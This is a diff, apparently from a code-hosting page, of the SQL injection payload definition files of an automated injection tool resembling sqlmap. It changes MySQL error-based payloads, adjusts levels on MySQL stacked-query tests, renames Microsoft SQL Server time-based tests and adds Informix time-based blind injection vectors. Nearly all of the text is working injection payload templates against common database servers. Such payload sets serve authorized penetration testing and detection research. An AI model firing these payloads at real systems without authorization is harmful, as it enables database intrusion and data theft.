<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
|
||||
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
|
||||
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
|
||||
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
|
||||
-->
|
||||
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
|
||||
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -1056,9 +1056,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector>
|
||||
<vector>,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
|
||||
<request>
|
||||
<payload>,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
|
||||
<payload>,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries (comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>1</level>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>0</clause>
|
||||
<where>1</where>
|
||||
@@ -26,7 +26,7 @@
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries</title>
|
||||
<stype>4</stype>
|
||||
<level>2</level>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>0</clause>
|
||||
<where>1</where>
|
||||
@@ -46,7 +46,7 @@
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries (query SLEEP - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>2</level>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>0</clause>
|
||||
<where>1</where>
|
||||
@@ -67,7 +67,7 @@
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries (query SLEEP)</title>
|
||||
<stype>4</stype>
|
||||
<level>3</level>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>0</clause>
|
||||
<where>1</where>
|
||||
@@ -87,7 +87,7 @@
|
||||
<test>
|
||||
<title>MySQL < 5.0.12 stacked queries (heavy query - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>2</level>
|
||||
<level>3</level>
|
||||
<risk>2</risk>
|
||||
<clause>0</clause>
|
||||
<where>1</where>
|
||||
@@ -107,7 +107,7 @@
|
||||
<test>
|
||||
<title>MySQL < 5.0.12 stacked queries (heavy query)</title>
|
||||
<stype>4</stype>
|
||||
<level>4</level>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>0</clause>
|
||||
<where>1</where>
|
||||
|
||||
+102
-5
@@ -570,7 +570,7 @@
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase time-based blind</title>
|
||||
<title>Microsoft SQL Server/Sybase time-based blind (IF)</title>
|
||||
<stype>5</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
@@ -591,7 +591,7 @@
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase time-based blind (comment)</title>
|
||||
<title>Microsoft SQL Server/Sybase time-based blind (IF - comment)</title>
|
||||
<stype>5</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
@@ -1337,7 +1337,85 @@
|
||||
<dbms_version>> 2.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
<!-- TODO: if possible, add payload for Microsoft Access -->
|
||||
|
||||
<test>
|
||||
<title>Informix AND time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>2</level>
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Informix</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Informix OR time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Informix</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Informix AND time-based blind (heavy query - comment)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Informix</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Informix OR time-based blind (heavy query - comment)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Informix</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- End of time-based boolean tests -->
|
||||
|
||||
<!-- Time-based boolean tests - Numerous clauses -->
|
||||
@@ -1697,7 +1775,7 @@
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
<!-- Untested -->
|
||||
<test>
|
||||
<title>HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query)</title>
|
||||
@@ -1738,6 +1816,25 @@
|
||||
<dbms_version>> 2.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Informix time-based blind - Parameter replace (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>4</level>
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Informix</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!-- End of time-based boolean tests - Parameter replace -->
|
||||
|
||||
<!-- Time-based boolean tests - ORDER BY, GROUP BY clause -->
|
||||
@@ -1938,6 +2035,6 @@
|
||||
<dbms_version>> 2.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
<!-- TODO: if possible, add payload for Microsoft Access -->
|
||||
|
||||
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
|
||||
</root>
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user